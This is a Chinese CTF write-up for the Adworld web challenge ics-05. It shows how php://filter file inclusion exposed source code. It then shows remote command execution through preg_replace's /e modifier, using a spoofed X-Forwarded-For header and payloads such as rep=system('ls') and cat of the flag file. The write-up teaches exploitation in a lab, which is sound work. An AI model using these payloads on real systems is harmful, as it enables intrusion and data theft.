CTFer成长记录——CTF之Web专题·攻防世界—ics-05

发布时间 2023-08-10 17:14:15作者: MiracleWolf

一、题目链接

https://adworld.xctf.org.cn/challenges/list?rwNmOdr=1691651594927

二、解法步骤

  题目说其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统,一番探索后,发现只有设备维护中心可以访问:

  在一番点击下:发现url有了变化

  这里将url中的?page=index 改成?page=1 看看:

  那么看看有没有注入点:?page=system('ls'),但是发现无回显,可能这里只能接受数字和index。

  然后url换成:?page=index.php

  

  发现回显ok,说明index.php是经过一定检查后的文件,猜测这里可能有文件包含漏洞,使用filter协议:

  ?page=php://filter/read=convert.base64-encode/resource=index.php,成功获取到一串base64编码,然后对其解码,获得index.php的与源代码:

  

$page = $_GET[page];

if (isset($page)) {
if (ctype_alnum($page)) { //ctype_alnum()函数检查$page是否有数字或者字母组成
?>

    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br />

<?php

}else{

?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php

                if (strpos($page, 'input') > 0) {
                    die();
                }

                if (strpos($page, 'ta:text') > 0) {
                    die();
                }

                if (strpos($page, 'text') > 0) {
                    die();
                }

                if ($page === 'index.php') {
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />

<?php
}}


//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {//这里可以用X-Forwarded-For:127.0.0.1进行伪造

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];  //接收参数
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);//preg_replace,正则表达式版字符串替换
    }else{
        die();
    }

}

   那么在这段代码中,解释了传参只能用index.php的原因,同时限制本地访问,而且接受三个参数,这三个参数的作用目前不知道,但是preg_replace()函数存在命令执行的漏洞

  https://blog.csdn.net/m0_64815693/article/details/130327529,详细参考这篇文章

  简单来说,preg_replace($a,$b,$c)可以接受三个参数(当然不止),第一个参数是正则表达式搜索,第二个是替换,第三个是搜索样本。

  当$a参数使用了/e这个后缀,preg_replace()函数就会把$b的内容当做php代码进行执行,也就是eval($b),因此我们可以控制这三个参数,从而进行命令执行:

  payload:/index.php?pat=/test/e&rep=system(%27ls%27)&sub=justest这些过程都在bp中完成:

  

  关注这个s3chahahaDir目录,尝试访问:rep=system('cd s3chahahaDir;ls'),如果不行的话需要url编码一次

  然后获得flag文件夹:

  继续访问flag文件夹:rep=system('cd s3chahahaDir/flag;ls')

  

  最后读取文件:rep=system('cat s3chahahaDir/flag/flag.php')

  

  得到flag。

三、总结

  本题通过对页面进行一些测试,找出暴露在外的文件包含信息,接着进行代码审计,结合preg_replace()的漏洞,进行参数控制,从而实现命令执行,达到获取flag的目的。本题还是有一定难度的。